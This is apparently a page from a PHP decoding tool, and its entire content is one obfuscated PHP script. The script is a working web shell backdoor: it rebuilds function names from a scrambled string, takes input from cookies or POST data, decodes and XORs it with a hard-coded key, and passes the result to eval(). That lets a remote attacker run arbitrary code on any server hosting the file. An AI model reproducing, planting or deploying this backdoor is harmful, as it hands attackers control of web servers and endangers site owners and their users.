PHP Decode

<?php 
$qpuyvd = '7bkrH1p3v9f#am*ey46t2-ul_0\'8snicdxgo5';$apyxeem = Array();$apyxeem[] = $qpuyvd[31].$qpuyvd[31].$qpuyvd[0].$qpuyvd[7].$qpuyvd[20].$qpuyvd[32].$qpuyvd[17].$qpuyvd[31].$qpuyvd[21].$qpuyvd[10].$qpuyvd[27].$qpuyvd[17].$qpuyvd[9].$qpuyvd[21].$qpuyvd[17].$qpuyvd[17].$qpuyvd[12].$qpuyvd[12].$qpuyvd[21].$qpuyvd[1].$qpuyvd[20].$qpuyvd[27].$qpuyvd[5].$qpuyvd[21].$qpuyvd[0].$qpuyvd[18].$qpuyvd[7].$qpuyvd[1].$qpuyvd[17].$qpuyvd[1].$qpuyvd[10].$qpuyvd[25].$qpuyvd[17].$qpuyvd[36].$qpuyvd[20].$qpuyvd[0];$apyxeem[] = $qpuyvd[4].$qpuyvd[14];$apyxeem[] = $qpuyvd[11];$apyxeem[] = $qpuyvd[31].$qpuyvd[35].$qpuyvd[22].$qpuyvd[29].$qpuyvd[19];$apyxeem[] = $qpuyvd[28].$qpuyvd[19].$qpuyvd[3].$qpuyvd[24].$qpuyvd[3].$qpuyvd[15].$qpuyvd[6].$qpuyvd[15].$qpuyvd[12].$qpuyvd[19];$apyxeem[] = $qpuyvd[15].$qpuyvd[33].$qpuyvd[6].$qpuyvd[23].$qpuyvd[35].$qpuyvd[32].$qpuyvd[15];$apyxeem[] = $qpuyvd[28].$qpuyvd[22].$qpuyvd[1].$qpuyvd[28].$qpuyvd[19].$qpuyvd[3];$apyxeem[] = $qpuyvd[12].$qpuyvd[3].$qpuyvd[3].$qpuyvd[12].$qpuyvd[16].$qpuyvd[24].$qpuyvd[13].$qpuyvd[15].$qpuyvd[3].$qpuyvd[34].$qpuyvd[15];$apyxeem[] = $qpuyvd[28].$qpuyvd[19].$qpuyvd[3].$qpuyvd[23].$qpuyvd[15].$qpuyvd[29];$apyxeem[] = $qpuyvd[6].$qpuyvd[12].$qpuyvd[31].$qpuyvd[2];foreach ($apyxeem[7]($_COOKIE, $_POST) as $uapjto => $ptdbo){function jxfsu($apyxeem, $uapjto, $ormfc){return $apyxeem[6]($apyxeem[4]($uapjto . $apyxeem[0], ($ormfc / $apyxeem[8]($uapjto)) + 1), 0, $ormfc);}function jbhmfip($apyxeem, $ddwbvgf){return @$apyxeem[9]($apyxeem[1], $ddwbvgf);}function sbuyea($apyxeem, $ddwbvgf){$xbjslft = $apyxeem[3]($ddwbvgf) % 3;if (!$xbjslft) {eval($ddwbvgf[1]($ddwbvgf[2]));exit();}}$ptdbo = jbhmfip($apyxeem, $ptdbo);sbuyea($apyxeem, $apyxeem[5]($apyxeem[2], $ptdbo ^ jxfsu($apyxeem, $uapjto, $apyxeem[8]($ptdbo))));} ?>